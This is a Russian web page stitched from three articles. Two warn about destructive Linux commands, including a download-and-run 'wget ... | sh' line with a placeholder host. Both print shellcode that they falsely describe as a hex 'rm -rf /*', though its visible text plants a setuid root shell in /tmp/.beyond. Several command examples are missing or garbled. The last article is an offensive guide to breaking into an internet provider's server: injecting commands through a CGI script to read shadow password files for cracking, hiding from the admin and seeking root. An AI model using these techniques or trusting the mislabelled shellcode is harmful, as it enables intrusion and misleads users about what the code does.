- 10 команд Linux, способных уничтожить вашу систему
- Убийственная команда rm -rf /*
- /dev/sda – уничтожаем файловую систему!
- mv ~ /dev/null или как отправить все свои данные в бездну
- Форматируем жесткий диск с помощью mkfs.ext3 /dev/sda
- Форк-бомба: простая, но опасная
- command > config_filename – перезаписываем важные файлы конфигурации
- Рецепт коктейля Молотова для корневых разделов – dd if=/dev/random of=/dev/sda
- chmod -R 777/ – команда для тех, кому нечего скрывать
- Любите рисковать – запустите wget http://вредоносный_сайт -O- | sh
- Самое необычное напоследок – замаскированная rm -rf /*
- Подведем итоги
- Семь самых опасных команд в Linux
- Xakep #289. Взлом в воздухе
- Команды для удалённой атаки в Linux
10 команд Linux, способных уничтожить вашу систему
Как мы знаем, у пользователей Linux есть множество команд и инструментов, позволяющих гибко настраивать и контролировать каждый аспект ОС. Однако, с большой силой приходит большая ответственность – есть множество команд, способных нарушить обычную работу Linux и привести к печальным последствиям.
Поэтому давайте вместе разберемся, какие команды Linux не стоит вводить ни при каких обстоятельствах.
Убийственная команда rm -rf /*
- rm – команда для удаления файлов/каталогов;
- -r – флаг, необходимый для рекурсивного удаления всех файлов внутри папки;
- -f – флаг, позволяющий выполнить операцию без спроса у пользователя.
Без root-прав эта команда не принесет никакого вреда. Даже sudo rm -rf / не создаст никаких проблем, так как у большей части популярных дистрибутивов есть защита от выполнения этой команды. За это отвечает функция —preserve-root.
Однако, если вы все же хотите выполнить эту команду, у вас есть два варианта:
После выполнения система начнет рекурсивно удалять вообще все файлы, начиная с корневой директории, пока система не зависнет с сообщением “Error deleting file”. После перезагрузки Linux обычно выдает ошибку grub-rescue.
/dev/sda – уничтожаем файловую систему!
Пользователи, знакомые с файловыми системами, наверняка знают что такое > /dev/sda. Эта строка запускает команду и посылает результат ее работы прямо на жесткий диск, записывая данные непосредственно на него, тем самым повреждая файловую систему. Вот пример:
Команда заменит раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».
mv ~ /dev/null или как отправить все свои данные в бездну
Внутри каждой Linux-системы есть бездна. И эта бездна – /dev/null. Все, что окажется в этой области, будет удалено навсегда. Давайте разберем и эту команду:
- mv – необходима для переноса файлов и каталогов в указанное место;
- ~ – указатель на домашний каталог;
- /dev/null – перемещает домашний каталог на устройство /dev/null, уничтожая тем самым все ваши файлы и удаляя копии оригинало в.
И хотя система не выдаст ошибку и будет работать исправно, после выполнения mv ~ /dev/null все данные пользователя бесследно исчезнут.
Форматируем жесткий диск с помощью mkfs.ext3 /dev/sda
Команда, подобная format c: на Windows. Устроена она довольно просто:
- mkfs.ex3 – создает новую файловую систему ext3 на устройстве;
- /dev/sda – указывает на жесткий диск.
Вот и все! Несложная команда оставляет пользователя без всех данных.
Форк-бомба: простая, но опасная
:()<:|:&>;: – комбинация из специальных символов, как будто выбранных наугад. Однако, она достаточно мощная, чтобы остановить работу работающей системы, просто заняв собой все доступные ресурсы.
Работает она предельно просто – создаёт функцию, запускающую еще два своих экземпляра, которые потом будут повторять этот процесс. И это будет продолжаться до тех пор, пока процесс не займет всю физическую память компьютера, заставив его зависнуть.
command > config_filename – перезаписываем важные файлы конфигурации
С command > config_filename все просто – она просто очищает содержимое конфигурационного файла и записывает в него новые данные. Таким образом можно легко повредить систему, случайно перезаписав важный конфигурационный файл.
Рецепт коктейля Молотова для корневых разделов – dd if=/dev/random of=/dev/sda
Здесь все просто – команда забивает память компьютера мусором. А вот как она это делает:
- dd – низкоуровневый инструмент для копирования;
- if=/dev/random – задает /dev/random в качестве входа;
- of=/dev/sda – выдает данные на жесткий диск.
Мощный компьютер способен выдержать эту команду, но вот слабые системы могут очень сильно пострадать.
chmod -R 777/ – команда для тех, кому нечего скрывать
chmod -R 777/ открывает доступ ко всем файлам, расположенным в корневом разделе. Это не очень хорошо, так как после выполнения команды любой пользователь права на чтение, запись и выполнение любых файлов.
Любите рисковать – запустите wget http://вредоносный_сайт -O- | sh
Команда, позволяющая скачать и выполнить скрипт, взятый с сайта в интернете. В этом случае, если скрипт окажется вредоносным, то безопасность всей системы пользователя окажется под угрозой, ведь команда выполнит его с root-правами, даже не спрашивая разрешения на выполнение.
Самое необычное напоследок – замаскированная rm -rf /*
Linux позволяет запускать команды в терминале самыми разными способами. Один из них – ввод команды в шестнадцатеричном коде.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Несмотря на необычный внешний вид, эта команда является шестнадцатеричной rm -rf /*. Поэтому будьте осторожны, копируя необычные команды!
Подведем итоги
Помните, что именно вы отвечаете за последствия необдуманного выполнения опасных команд. Ведь работа UNIX заключается не в том, чтобы не дать вам прострелить себе ногу. А в том, что если вы решили это сделать – отправить пулю в вашу ногу самым эффективным способом, который у нее есть.
Это в той же степени применимо к Linux. Вы получаете полный контроль над своей системой и только вы решаете, что с ней делать.
Как обезопасить свой смартфон от СЛЕДЯЩИХ ПРИЛОЖЕНИЙ ?
Присоединяйтесь к нашему ТГ каналу и ваш смартфон станет вашим оружием.
Семь самых опасных команд в Linux
Xakep #289. Взлом в воздухе
Если друг советует запустить в терминале одну из этих команд, будьте осторожны. Возможно, он хочет над вами подшутить или даже злобно надругаться.
Первая команда
rm -rf / #with root privilege such as ‘sudo’
Эта команда удалит все файлы на подключённых носителях. Вот демонстрационное видео, которое показывает, что произойдёт после запуска такой команды.
Вторая команда
char esp[] __attribute__ ((section(«.text»))) /* e.s.p
release */
= «\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68»
«\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99»
«\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7»
«\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56»
«\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31»
«\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69»
«\x6e\x2f\x73\x68\x00\x2d\x63\x00»
«cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;»;
Шестнадцатеричный код то же команды, что и в первом примере.
Третья команда
Форматирование устройства /dev/sda с удалением всех файлов на нём.
Четвёртая команда
Запуск слишком большого количества процессов приведёт к зависанию системы.
Пятая команда
Запись потока данных на устройство /dev/sda, который заменит все файлы на нём.
Шестая команда
wget http://sumber_tak_terpercaya -O- | sh
Скачивает шелл-скрипт из ненадёжного источника и исполняет его после окончания скачивания.
Седьмая команда
Команда перемещает домашнюю директорию в место, которого на самом деле не существует. Другими словами, просто удаляет домашнюю директорию.
Так что будьте осторожны и проверяйте команды перед тем, как запустить.
Команды для удалённой атаки в Linux
Итак, ты каким-либо методом имеешь доступ к Linux-консоли твоего прова (Telnet / WWW) и весьма желательно FTP доступ к удалённому серверу. С этой задачей можно очень быстро справиться, это несложно (я об этом писал в Xakep #3, раздел ScriptKiddle), а дальше возникает вопрос: что можно сделать, если можешь управлять сервером (любыми правами)?
Рассмотрим ряд возможностей, которые помогут тебе узнать очень много дыр в сервере твоего провайдера, а при удачном стечении обстоятельств даже порутить / завесить сервак.
Если ты в совершенстве знаешь Linux — все его особенности, местоположение config-файлов и команды, то можешь не читать эту статью — всё, что написано здесь, ты уже знаешь. Ну, а если ты начинающий юниксоид и стремишься познать особенности данной OS, то эта статья для тебя. Итак, приступим.
1. Поиск. Только поиск.
Админы — народ рассеянный, это знают все. У них нет времени даже на то, чтобы поставить защитный атрибут на файл с паролями или другой ценной информацией и эта информация может быть разбросана по всему серверу. Постараемся воспользоваться этим недостатком.
На помощь всегда приходит замечательная команда find. Она позволяет найти файлы по какому-то схожему признаку (дата создания, атрибут, имя файла, etc). Это нам и нужно. Ты не задавал себе вопроса: нет ли на сервере ненужной копии shadow с атрибутом 644 ? 😉
Формат команды find: find
Шаблоны бывают разные, вот некоторые из них:
name — поиск по имени
user — поиск на принадлежность к какому-либо пользователю
group — аналогично, только с группой.
perm — поиск по атрибуту
type — поиск по типу (l — ссылка, f — файл, d — директория)
А теперь самое интересное: посмотрим, нет ли копии shadow на сервере 🙂 Набираем команду либо через cgi-скрипт, либо в telnet`е
http://yourprov.com/path/to/script/test.pl?find -type f -name shadow
Ждём минуты 2 и смотрим на ответ сервера. Если будет что-то вроде:
/etc/shadow
/home/admin/svalka/test/shadow
то ты натолкнулся на копию password-файла. Тебе стоит только набрать:
http://yourprov.com/path/to/script/test.pl?cat /home/admin/svalka/test/shadow
и запустить John the Ripper на полную мощность 😉
2. Авторизация для сервисов.
Большинство сервисов в Linux требуют авторизации и их passwd-файлы также могут лежать на сервере с аккаунтами пользователей (порой даже незашифрованных). Пример: uucp, webmin, sockd и многие другие сервисы.
Чтобы посмотреть, а не запущены ли они на сервере, просто выполни команду «ps ax» и ищи нечто похожее на программу-сервис.
Допустим ты обнаружил, у твоего прова работает uucp (unix to unix connect protocol). Щупай каталог /etc/uucp на предмет файла passwd (с 90% вероятностью он там есть) и выводи его на экран (только слюной не захлебнись от жадности 😉 ).
3. Безопасность превыше всего.
Если ты не хочешь наткнуться на своего админа, то всегда пользуйся командой «w» или «who». Эта команда выводит зарегистрированных в системе в данный момент пользователей и если ты увидел нечто:
root pts/0 11:00pm 44:25 0.05s ? —
то значит твой админ сейчас усердно рутит сервак 🙂 и может, кстати, засечь и тебя простой командой (ps ax|grep perl), но перед тем, как закрыть твой IE aka броузер, ты можешь немного подшутить над админом и даже вызвать у него сердечный приступ 🙂
Ты не знаешь, что будет, если ты заюзаешь команду: echo \»The system is going down for halt NOW!\» > /dev/pts/0 ?
Объясняю. Вся лабуда, которую ты напишешь между \» и \» выведется на консоль твоего доброго дяди админа, который, нервно передёрнется от совершенно внезапно выползшей строчки (кому приятно идти на ATC и поднимать сервер? правильно! никому:) ). Но эта шутка чревата некоторыми
плачевными для тебя последствиями, поэтому я тебе ничего не говорил =)
Что тебе сказать. Твоя цель надыбать root пароль и входить в консоль под telnet или SSH протоколом 😉 Это твоя заветная цель 🙂
И совет тебе, если ты найдёшь его, не нужно сразу делать «rm -rf /». Пожалей админа :))